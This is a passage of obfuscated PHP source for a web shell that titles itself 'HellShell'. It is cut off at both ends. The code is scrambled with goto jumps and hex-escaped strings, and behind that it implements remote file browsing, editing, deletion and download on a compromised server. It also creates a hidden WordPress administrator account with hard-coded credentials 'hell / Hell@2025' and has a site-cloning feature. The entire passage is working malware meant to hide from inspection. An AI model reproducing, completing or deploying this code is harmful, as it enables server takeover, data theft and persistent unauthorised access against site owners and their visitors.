S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto 